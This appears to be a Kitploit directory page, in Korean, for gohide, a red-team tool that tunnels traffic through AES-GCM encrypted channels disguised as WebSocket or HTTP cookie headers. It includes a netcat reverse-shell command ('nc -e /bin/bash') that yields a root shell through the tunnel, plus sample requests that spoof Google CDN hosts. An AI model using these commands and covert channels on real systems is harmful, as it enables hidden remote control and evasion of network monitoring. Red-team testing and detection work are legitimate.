Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
gohide — AES-GCM 암호화를 사용하여 난독화된 채널을 통해 포트 간 트래픽을 터널링합니다. | Kitploit
도구/GitHubGitHub/potato-industries/gohide
Encryption/Decryption ToolsNetwork SecurityCommand and ControlRed Teaming
GitHubpotato-industries/gohide

gohide

AES-GCM 암호화를 사용하여 난독화된 채널을 통해 포트 간 트래픽을 터널링합니다.

저장소 보기
67136년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

gohide

포트 간 트래픽을 AES-GCM 암호화를 사용한 난독화 채널을 통해 터널링합니다.

난독화 모드

  • 세션 쿠키 HTTP GET (http-client)
  • Set-Cookie 세션 쿠키 HTTP/2 200 OK (http-server)
  • WebSocket 핸드셰이크 "Sec-WebSocket-Key" (websocket-client)
  • WebSocket 핸드셰이크 "Sec-WebSocket-Accept" (websocket-server)
  • 난독화 없음, AES-GCM 암호화 메시지만 사용 (none)

AES-GCM은 위의 각 옵션에 대해 기본적으로 활성화됩니다.

사용법

root@kitploit:~
root@WOPR-KALI:/opt/gohide-dev# ./gohide -h
Usage of ./gohide:
  -f string
    	listen fake server -r x.x.x.x:xxxx (ip/domain:port) (default "0.0.0.0:8081")
  -key openssl passwd -1 -salt ok | md5sum
    	aes encryption secret: use '-k openssl passwd -1 -salt ok | md5sum' to derive key from password (default "5fe10ae58c5ad02a6113305f4e702d07")
  -l string
    	listen port forward -l x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:8080")
  -m string
    	obfuscation mode (AES encrypted by default): websocket-client, websocket-server, http-client, http-server, none (default "none")
  -pem string
    	path to .pem for TLS encryption mode: default = use hardcoded key pair 'CN:target.com', none = plaintext mode (default "default")
  -r string
    	forward to remote fake server -r x.x.x.x:xxxx (ip/domain:port) (default "127.0.0.1:9999")

시나리오

박스 A - 리버스 핸들러.

root@kitploit:~
root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:8081 -l 127.0.0.1:8080 -r target.com:9091 -m websocket-client
Local Port Forward Listening: 127.0.0.1:8080
FakeSrv Listening: 0.0.0.0:8081

박스 B - 대상.

root@kitploit:~
root@WOPR-KALI:/opt/gohide# ./gohide -f 0.0.0.0:9091 -l 127.0.0.1:9090 -r target.com:8081 -m websocket-server
Local Port Forward Listening: 127.0.0.1:9090
FakeSrv Listening: 0.0.0.0:9091

참고: /etc/hosts "127.0.0.1 target.com"

박스 B - Netcat /bin/bash

root@kitploit:~
root@WOPR-KALI:/var/tmp# nc -e /bin/bash 127.0.0.1 9090

박스 A - Netcat 클라이언트

root@kitploit:~
root@WOPR-KALI:/opt/gohide# nc -v 127.0.0.1 8080
localhost [127.0.0.1] 8080 (http-alt) open
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux WOPR-KALI 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-1kali1 (2019-11-11) x86_64 GNU/Linux
netstat -pantwu 
Active Internet connections (servers and established)
tcp        0      0 127.0.0.1:39684         127.0.0.1:8081          ESTABLISHED 14334/./gohide      

난독화 샘플

websocket-client (박스 A → 박스 B)

  • Sec-WebSocket-Key에는 AES-GCM 암호화된 콘텐츠(예: "uname -a")가 포함됩니다.
root@kitploit:~
GET /news/api/latest HTTP/1.1
Host: cdn-tb0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: 6jZS+0Wg1IP3n33RievbomIuvh5ZdNMPjVowXm62
Sec-WebSocket-Version: 13

websocket-server (박스 B → 박스 A)

  • Sec-WebSocket-Accept에는 AES-GCM 암호화된 출력이 포함됩니다.
root@kitploit:~
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: URrP5l0Z3NIHXi+isjuIyTSKfoP60Vw5d2gqcmI=

http-client

  • Session 쿠키 헤더에 AES-GCM 암호화된 콘텐츠가 포함됩니다.
root@kitploit:~
GET /news/api/latest HTTP/1.1
Host: cdn-tbn0.gstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.bbc.co.uk/
Connection: keep-alive
Cookie: Session=R7IJ8y/EBgCanTo6fc0fxhNVDA27PFXYberJNW29; Secure; HttpOnly

http-server

  • Set-Cookie 헤더에 AES-GCM 암호화된 콘텐츠가 포함됩니다.
root@kitploit:~
HTTP/2.0 200 OK
content-encoding: gzip
content-type: text/html; charset=utf-8
pragma: no-cache
server: nginx
x-content-type-options: nosniff
x-frame-options: SAMEORIGIN
x-xss-protection: 1; mode=block
cache-control: no-cache, no-store, must-revalidate
expires: Thu, 21 Nov 2019 01:07:15 GMT
date: Thu, 21 Nov 2019 01:07:15 GMT
content-length: 30330
vary: Accept-Encoding
X-Firefox-Spdy: h2
Set-Cookie: Session=gWMnQhh+1vkllaOxueOXx9/rLkpf3cmh5uUCmHhy; Secure; Path=/; HttpOnly

none

root@kitploit:~
8JWxXufVora2FNa/8m2Vnub6oiA2raV4Q5tUELJA

2019-11-21 02-26-30 스크린샷

2019-11-21 16-40-07 스크린샷

향후 계획

  • 오류 처리 개선.

즐기세요~

도구 다운로드